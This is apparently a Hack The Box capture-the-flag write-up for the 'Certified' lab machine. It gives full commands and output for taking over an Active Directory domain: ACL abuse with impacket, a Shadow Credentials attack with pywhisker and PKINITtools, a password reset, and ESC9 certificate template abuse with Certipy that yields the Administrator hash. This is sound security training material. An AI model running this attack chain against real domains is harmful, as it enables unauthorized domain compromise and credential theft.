Description

Certified is an medium Hack The Box machine that features:

  • Active Directory Enumeration using given user domain credentials
  • Given user domain with WriteOwner access grant to a group, allowing the user to add itself to the group
  • Group users has the GenericWrite access grant to a domain user with permissions to log into the machine, allowing changing the password
  • Logged user has the GenericAll permission to a Certificate Authority user, allowing them to change its password and other user fields
  • Privilege Escalation via impersonating the Administrator user using the ESC9 vulnerability in Certificate Templates used in Active Directory Certificate Services

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.24.237.

$ ping -c 3 10.129.24.237
PING 10.129.24.237 (10.129.24.237) 56(84) bytes of data.
64 bytes from 10.129.24.237: icmp_seq=1 ttl=127 time=43.1 ms
64 bytes from 10.129.24.237: icmp_seq=2 ttl=127 time=42.1 ms
64 bytes from 10.129.24.237: icmp_seq=3 ttl=127 time=42.1 ms

--- 10.129.24.237 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.074/42.432/43.141/0.500 ms

The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.24.237 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.24.237
Host is up (0.047s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

We get many open ports, related to a Domain Controller Active Directory.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.24.237 -Pn -sV -sC -p53,88,135,139,389,445,464,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.24.237
Host is up (0.044s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
 ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.54 seconds

We get the services related to an Active Directory, specifically the Domain Controller DC01.certified.htb. We add the hosts to our /etc/hosts local file.

$ echo "10.129.24.237 certified.htb" | sudo tee -a /etc/hosts
$ echo "10.129.24.237 DC01.certified.htb" | sudo tee -a /etc/hosts

Before continuing we need to synchronize our system clock with the Domain Controller clock. We will stop the synchronization to the default NTP server.

$ sudo timedatectl  set-ntp off 
$ sudo rdate -n certified.htb

We start the enumeration of the domain with an assumed breach, we have the password of the judith.mader user, judith09. We dump the domain information using bloodhound-python tool to then use BloodHound desktop application to analyze the data.

$ bloodhound-python -d certified.htb -v --zip -c All -dc certified.htb -ns 10.129.24.237 -u 'judith.mader' -p 'judith09'
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: psremote, trusts, group, rdp, dcom, session, acl, container, objectprops, localadmin
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: certified.htb
INFO: Found AD domain: certified.htb
DEBUG: Found primary DC: dc01.certified.htb
DEBUG: Found Global Catalog server: dc01.certified.htb
DEBUG: Found KDC for enumeration domain: dc01.certified.htb
DEBUG: Using supplied domain controller as KDC
...

We load the generated .zip file into BloodHound using the Upload Data menu option, we search for the judith.mader user. In the Node Info tab we move to Outbound Object Control > First Degree Object Control. After clicking on it, we find that judith.mader user has the WriteOwner access grant to the Management group. With this access grant we can rewrite the owner of the Management group to judith.mader and we can add the user to the group, after granting the user permission to add users. In the enumeration we also find that the users of the Management group have the GenericWrite access grant over the management_svc user. We can find it by searching for the Management group and moving to Outbound Object Control > First Degree Object Control. This allows us to do a Shadow Credentials attack which will allow us to retrieve the NT hash of the management_svc user. By searching the user and moving to Outbound Object Control > First Degree Object Control we find that the management_svc user has the GenericAll access grant to the ca_operator user. This means the management_svc can takeover the ca_operator account by changing its password. Finally we find that the management_svc in Reachable High Value Targets option has the PSRemote access grant to the machine, so the user can login and create a shell to run command.

Exploitation

We will start by changing the ownership of the Management group to judith.mader with impacket-owneredit tool.

$ impacket-owneredit -action write -new-owner 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'
...
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Then we will give to judith.mader the permission to add users by modifying the DACL using the impacket-dacledit tool.

$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'
...
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit.bak
[*] DACL modified successfully!

After that we add judith.mader to the Management group.

$ net rpc group addmem "Management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "certified.htb"

With the user in the group, we are going to do the Shadow Credentials attack using pyWhisker tool. This tool allows users to manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object. We are going to clone the tool, downgrade it to a previous version and install the dependencies.

$ git clone https://github.com/ShutdownRepo/pywhisker                         $ cd pywhisker  
$ git checkout c4ecf411a585ca4647843c8c3856e023e738a528
$ virtualenv pyw
$ . pyw/bin/activate
(pyw) $ pip install -r requirements.txt

We run the tool with its parameters to obtain the .pfx certificate with its key.

$ python pywhisker.py -d certified.htb -u judith.mader -p 'judith09' --target 'management_svc' --action 'add'  --dc-ip 10.129.24.237
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 34483eb7-9bc5-1f40-0840-b2b2f3f98078
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: AtmtlSgR.pfx
[*] Must be used with password: djPMrrpnUqhl1ZE9REuX
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

We find that the generated DeviceID is added to the Domain Controller.

$ python pywhisker.py -d certified.htb -u judith.mader -p 'judith09' --target 'management_svc' --action 'list'  --dc-ip 10.129.24.237
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Listing devices for management_svc
[*] DeviceID: 34483eb7-9bc5-1f40-0840-b2b2f3f98078

Now we need to use the tools from the PKINITtools project to retrieve the NT hash of the user by requesting a TGT using a PFX file and then use Kerberos U2U to submit a TGS request for yourself with the PAC which in turn contains the NT hash. We clone the repository and we install the dependencies.

$ cd ..
$ git clone https://github.com/dirkjanm/PKINITtools
$ cd PKINITtools
$ pip install -r requirements.txt

We retrieve the TGT with the gettgtpkinit.py by specifying the certificate file and the password we obtained previously. We also save in the KRB5CCNAME variable the Kerberos cache information file.

$ python gettgtpkinit.py -cert-pfx ../pywhisker/AtmtlSgR.pfx -pfx-pass djPMrrpnUqhl1ZE9REuX certified.htb/management_svc user.ccache -dc-ip 10.129.24.237
INFO:minikerberos:Loading certificate and key from file
INFO:minikerberos:Requesting TGT
INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218
INFO:minikerberos:Saved TGT to file

$ export KRB5CCNAME=$PWD/user.ccache

We get the TGT and the AS-REP encryption key, 28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218. Now we use this data to recover the NT hash with the getnthash.py tool.

$ python getnthash.py certified.htb/management_svc -key 28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218 -dc-ip 10.129.24.237
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
...
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

We get the NT hash for the management_svc user, a091c1832bcdd4677c28b5a6a1295584. Now we can log in the machine using evil-winrm tool.

$ evil-winrm -i 10.129.24.237 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents> whoami
certified\management_svc

Post-Exploitation

As we saw previously, we are going to take the control of the ca_operator by changing its password to newpassword123. We are going to use the rpcclient tool with the management_svc user and the obtained NT hash.

$ rpcclient -U 'certified.htb/management_svc%a091c1832bcdd4677c28b5a6a1295584' --pw-nt-hash 10.129.24.237
rpcclient $> setuserinfo2 ca_operator 23 'newpassword123'

As the username suggests, the ca_operator user can be related to Active Directory Certificate Services. We are going to use the Certipy tool to enumerate the information about the services.

$ certipy-ad find -username ca_operator@certified.htb -password newpassword123 -dc-ip 10.129.24.237 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

We find the CertifiedAuthentication template with the ESC9 vulnerability, the operator_ca user can enroll and template has no security extension. To exploit the vulnerability we need an user with GenericWrite access grant to operator_ca to change its userPrincipalName. We already have it as we verified previously. As we also changed the password we can use the Certipy tool to change the userPrincipalName to Administrator. We will use the NT hash we obtained.

$ certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Now we are going to request an authentication certification as the Administrator user using the ca_operator user.

$ certipy-ad req -username ca_operator@certified.htb -password 'newpassword123' -ca certified-DC01-CA -template CertifiedAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

We revert the userPrincipalName value of the ca_operator user to its default value, ca_operator@certified.htb.

$ certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

And we finally authenticaticate with the generated certificate to retrieve the NTLM hash of the Administrator user.

$ certipy-ad auth -pfx administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

We obtain the NT hash of the Administrator user, 0d5b49608bbce1751f708748f67e2d34. We can login using evil-winrm to create the terminal.

$ evil-winrm -i 10.129.24.237 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34' 
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator

Flags

In the terminal as the Administrator user, we can retrieve the user and root flags.

*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\Users\management_svc\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\Users\Administrator\Desktop\root.txt
<REDACTED>